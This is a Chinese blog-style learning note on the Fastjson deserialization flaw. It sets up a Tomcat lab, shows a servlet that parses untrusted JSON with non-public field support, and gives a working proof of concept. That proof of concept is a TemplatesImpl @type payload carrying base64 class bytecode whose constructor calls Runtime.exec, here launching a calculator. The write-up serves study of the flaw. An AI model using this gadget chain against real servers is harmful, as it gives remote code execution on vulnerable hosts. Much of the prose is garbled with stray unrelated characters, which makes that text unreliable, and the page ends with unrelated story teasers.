Fastjson漏洞學(xué)習(xí)

近期暴露了阿里的Fastjson反序列漏洞呐粘,作為一個(gè)安全小白,在網(wǎng)上搜索了很多大神書寫的資料學(xué)習(xí)弄痹,并通過搭建環(huán)境的方式進(jìn)行實(shí)踐加深理解勾效,在此記錄學(xué)習(xí)過程嘹悼。

1. 環(huán)境搭建

  Fastjson為Java語言編寫,因此為了實(shí)踐层宫,首先需要搭建一個(gè)使用Fastjson的Web服務(wù)杨伙,此處選擇使用Tomcat方式部署Web,因此先安裝Tomcat萌腿。

1.1Tomcat安裝

  Tomcat依賴Java限匣,首先查看Java版本,本機(jī)版本為JDK1.8哮奇,滿足Tomcat7.0版本要求膛腐。


前往Tomcat官網(wǎng)https://tomcat.apache.org/download-70.cgi根據(jù)操作系統(tǒng)版本下載對(duì)應(yīng)的Tomcat。

  將下載的Tomcat放到安裝目錄下解壓鼎俘,此處選擇為/opt目錄哲身,如下圖:

Tomcat的目錄結(jié)構(gòu)如下:



修改環(huán)境變量



image.png

此時(shí)Tomcat安裝完成,可以啟動(dòng)Tomcat贸伐。

測(cè)試Tomcat是否成功啟動(dòng)


1.2 Eclipse配置Tomcat服務(wù)器

  在Eclipse的菜單中選擇"Windows"-->"Preferences"-->"Server"-->"Runtime Environments"

選擇添加所安裝的對(duì)應(yīng)的Tomcat版本勘天,此處為Tomcat7。



創(chuàng)建完成后如下


1.3 書寫簡(jiǎn)單的Demo環(huán)境

  書寫簡(jiǎn)單的代碼,接收客戶端提交的JSON字符串脯丝,并使用Fastjson進(jìn)行解析商膊。
IndexServlet.java

package fastt;

import java.io.IOException;
import java.io.PrintWriter;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import com.alibaba.fastjson.JSON;

class Person {
    private int age;
    public String username;
    private String hobby;
    
    public Person() {
        
    }
    
    public Person(int age, String username, String hobby){
        this.age = age;
        this.username = username;
        this.hobby = hobby;
    }
    
    public int getAge(){
        return this.age;
    }
    public void setAge(int age){
        this.age = age;
    }
    public String getUsername(){
        return this.username;
    }
    public void setUsername(String username){
        this.username = username;
    }
    public String getHobby(){
        return this.hobby;
    }
    public void setHobby(String hobby){
        this.hobby = hobby;
    }
}
@WebServlet("/IndexServlet")
public class IndexServlet extends HttpServlet{
    
    /**
     * 
     */
    private static final long serialVersionUID = 1L;

    public IndexServlet() {
        super();
    }
    public void destroy() {
        super.destroy();
    }
    public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{
        
    }
    public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{
        String json_string = request.getParameter("json_string");
        System.out.println(json_string);
        Person p = JSON.parseObject(json_string, Person.class);
        PrintWriter writer = response.getWriter();
        String htmlRespone = "<html>";
        htmlRespone += "<h2>Your input is: <br/>";
        htmlRespone += "user name: " + p.getUsername() + "<br/>";
        htmlRespone += "age: " + p.getAge() + "<br/>";
        htmlRespone += "hobby: " + p.getHobby() + "<br/>";
        htmlRespone += "</html>";
        writer.println(htmlRespone);
    }
}

index.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>welcome hahaha</title>
</head>
<body>
    welcome, eclipse deploy tomcat
    <form action="IndexServlet" method="post">
        Input: <input type="text" name="json_string"><br>
        <input type="submit" value="submit">
    </form>
</body>
</html>
  在Eclipse中啟動(dòng)Tomcat

通過瀏覽器訪問并提交json字符串



結(jié)果如下



到此我們的環(huán)境已經(jīng)成功搭建。

2. Fastjson漏洞測(cè)試

在附錄參考文檔中宠进,學(xué)習(xí)了Fastjson漏洞的知識(shí)晕拆,根據(jù)前人的經(jīng)驗(yàn),構(gòu)造POC測(cè)試代碼材蹬。

import java.io.IOException;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class User extends AbstractTranslet{
    public String username;
    public String password;
    public User() throws IOException{
        Runtime.getRuntime().exec("gnome-calculator");
    }
    /*
    public String getUsername() {
        return this.username;
    }
    public void setUsername(String username) {
        this.username = username;
    }
    public String getPassword() {
        return this.password;
    }
    public void setPassword(String password) {
        this.password = password;
    }
    */
    public static void main(String[] args) {
        /*
        User user = new User();
        user.setUsername("admin");
        user.setPassword("123456");
        
        String entry1 = JSON.toJSONString(user);
        System.out.println(entry1);
        
        String entry2 = JSON.toJSONString(user,SerializerFeature.WriteClassName);
        System.out.println(entry2);
        */
        String jsonString = "{\"@type\":\"fastt.User\",\"password\":\"123456\",\"username\":\"admin\"}";
        Object user = JSON.parseObject(jsonString);
        System.out.println(user);
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
        // TODO Auto-generated method stub
        
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
            throws TransletException {
        // TODO Auto-generated method stub
        
    }
}

其中該User類繼承自AbstractTranslet類实幕,后面可看到原因。
直接運(yùn)行該代碼堤器,F(xiàn)astjson在解析json的時(shí)候會(huì)調(diào)用默認(rèn)構(gòu)造函數(shù)昆庇,此時(shí)會(huì)彈出計(jì)算器。


將User的class文件保存到本地闸溃,此處保存在/home/hadoop/Downloads/路徑下整吆,構(gòu)造Payload的代碼如下:

public class POC {
    public static String readClass(String cls) {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)),bos);
        }catch(IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());
    }
    public static void  test_autoTypeDeny() throws Exception {
        ParserConfig config = new ParserConfig();
        final String fileSeparator = System.getProperty("file.separator");
        final String evilClassPath = "/home/hadoop/Downloads/User.class";
        String evilCode = readClass(evilClassPath);
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String text1 = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +
                "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
        System.out.println(text1);

        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
        //assertEquals(Model.class, obj.getClass());
    }
    public static void main(String args[]){
        try {
            test_autoTypeDeny();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

可以看到_bytecodes字段的value即是User.class的內(nèi)容。@type為com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl辉川。

此處貼出TemplateImpl類的重要函數(shù)代碼

public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();
    }
    catch (TransformerConfigurationException e) {
        return null;
    }
}

public synchronized Transformer newTransformer()
    throws TransformerConfigurationException
{
    TransformerImpl transformer;
    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
        _indentNumber, _tfactory);
    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }
    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
        transformer.setSecureProcessing(true);
    }
    return transformer;
}

private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;
            if (_class == null) defineTransletClasses();
            // The translet needs to keep a reference to all its auxiliary
            // class to prevent the GC from collecting them
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
            translet.postInitialization();
            translet.setTemplates(this);
            translet.setServicesMechnism(_useServicesMechanism);
            if (_auxClasses != null) {
                translet.setAuxiliaryClasses(_auxClasses);
            }
            return translet;
        }
        catch (InstantiationException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (IllegalAccessException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

private void defineTransletClasses()
        throws TransformerConfigurationException {
        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }
        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader());
                }
            });
        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];
            if (classCount > 1) {
                _auxClasses = new Hashtable();
            }
            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();
                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }
            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }
        catch (ClassFormatError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (LinkageError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

處理Post請(qǐng)求的代碼

public class IndexServlet extends HttpServlet{
    
    /**
     * 
     */
    private static final long serialVersionUID = 1L;

    public IndexServlet() {
        super();
    }
    public void destroy() {
        super.destroy();
    }
    public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{
        
    }
    public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{
        String json_string = request.getParameter("json_string");
        System.out.println(json_string);
        //ParserConfig config = new ParserConfig();
        Object obj = JSON.parseObject(json_string, Object.class, Feature.SupportNonPublicField);
        //JSONObject p = JSON.parseObject(json_string);
        PrintWriter writer = response.getWriter();
        String htmlRespone = "<html>";
        htmlRespone += "<h2>Your input is: <br/>";
        htmlRespone += "user name: " + obj.toString() + "<br/>";
        //htmlRespone += "age: " + p.get("age") + "<br/>";
        //htmlRespone += "hobby: " + p.get("hobby") + "<br/>";
        htmlRespone += "</html>";
        writer.println(htmlRespone);
    }

其中在使用JSON.parseObject函數(shù)時(shí)表蝙,使用了參數(shù)Feature.SupportNonPublicField,這是由于Fastjson默認(rèn)只能解析public字段员串,而像本例中的_bytecode,_outputProperties等都是private屬性的勇哗,因此需要配置此參數(shù)昼扛。
在客戶端提交請(qǐng)求寸齐,并跟蹤處理邏輯经伙。



可以看到JSON.parseObject函數(shù)會(huì)解析json字符串偿凭。

根據(jù)@type字段獲取到對(duì)應(yīng)的類:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl


使用JavaBean進(jìn)行反序列化,使用JavaBean的deserialize方法淑翼。


調(diào)用smartMatch方法犯祠,本來Field是_outputProperties姓蜂,使用smartMatch后轉(zhuǎn)變?yōu)閛utputProperties旱捧。


可以看到fieldDeserializer的值已經(jīng)是outputProperties愕够。



調(diào)用deserialize方法



調(diào)用serValue方法


調(diào)用到TemplatesImpl類的getOutputProperties方法过咬。



調(diào)用到TemplatesImpl類的getTransletInstance()方法


調(diào)用到TemplatesImpl類的defineTransletInstance()方法浦箱,在defineTransletClasses方法中會(huì)根據(jù)_bytecodes來生成一個(gè)java類吸耿,生成的java類隨后會(huì)被getTransletInstance方法用到生成一個(gè)實(shí)例。此時(shí)可以看到返回的類會(huì)被強(qiáng)制轉(zhuǎn)換成AbstractTranslet類酷窥,這也就是前面構(gòu)造的User類需要繼承自AbstractTranslet類的原因咽安。



上圖中的newInstace()方法,會(huì)調(diào)用User()的默認(rèn)構(gòu)造函數(shù)蓬推,從而執(zhí)行默認(rèn)構(gòu)造函數(shù)中的Runtime.getRuntime().exec("gnome-calculator")妆棒,彈出計(jì)算器。



參考文檔:

  1. https://www.freebuf.com/sectool/165655.html
  2. https://paper.seebug.org/292/
  3. https://www.freebuf.com/column/180711.html
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市糕珊,隨后出現(xiàn)的幾起案子动分,更是在濱河造成了極大的恐慌,老刑警劉巖红选,帶你破解...
    沈念sama閱讀 217,406評(píng)論 6 503
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件澜公,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡喇肋,警方通過查閱死者的電腦和手機(jī)玛瘸,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,732評(píng)論 3 393
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來苟蹈,“玉大人糊渊,你說我怎么就攤上這事』弁眩” “怎么了渺绒?”我有些...
    開封第一講書人閱讀 163,711評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)菱鸥。 經(jīng)常有香客問我宗兼,道長(zhǎng),這世上最難降的妖魔是什么氮采? 我笑而不...
    開封第一講書人閱讀 58,380評(píng)論 1 293
  • 正文 為了忘掉前任殷绍,我火速辦了婚禮,結(jié)果婚禮上鹊漠,老公的妹妹穿的比我還像新娘主到。我一直安慰自己,他們只是感情好躯概,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,432評(píng)論 6 392
  • 文/花漫 我一把揭開白布登钥。 她就那樣靜靜地躺著,像睡著了一般娶靡。 火紅的嫁衣襯著肌膚如雪牧牢。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,301評(píng)論 1 301
  • 那天姿锭,我揣著相機(jī)與錄音塔鳍,去河邊找鬼。 笑死呻此,一個(gè)胖子當(dāng)著我的面吹牛轮纫,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播趾诗,決...
    沈念sama閱讀 40,145評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼蜡感,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼蹬蚁!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起郑兴,我...
    開封第一講書人閱讀 39,008評(píng)論 0 276
  • 序言:老撾萬榮一對(duì)情侶失蹤犀斋,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后情连,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體叽粹,經(jīng)...
    沈念sama閱讀 45,443評(píng)論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,649評(píng)論 3 334
  • 正文 我和宋清朗相戀三年却舀,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了虫几。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 39,795評(píng)論 1 347
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡挽拔,死狀恐怖辆脸,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情螃诅,我是刑警寧澤啡氢,帶...
    沈念sama閱讀 35,501評(píng)論 5 345
  • 正文 年R本政府宣布,位于F島的核電站术裸,受9級(jí)特大地震影響倘是,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜袭艺,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,119評(píng)論 3 328
  • 文/蒙蒙 一搀崭、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧猾编,春花似錦瘤睹、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,731評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽冻晤。三九已至苇羡,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間鼻弧,已是汗流浹背设江。 一陣腳步聲響...
    開封第一講書人閱讀 32,865評(píng)論 1 269
  • 我被黑心中介騙來泰國(guó)打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留攘轩,地道東北人叉存。 一個(gè)月前我還...
    沈念sama閱讀 47,899評(píng)論 2 370
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像度帮,于是被迫代替她去往敵國(guó)和親歼捏。 傳聞我的和親對(duì)象是個(gè)殘疾皇子稿存,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,724評(píng)論 2 354

推薦閱讀更多精彩內(nèi)容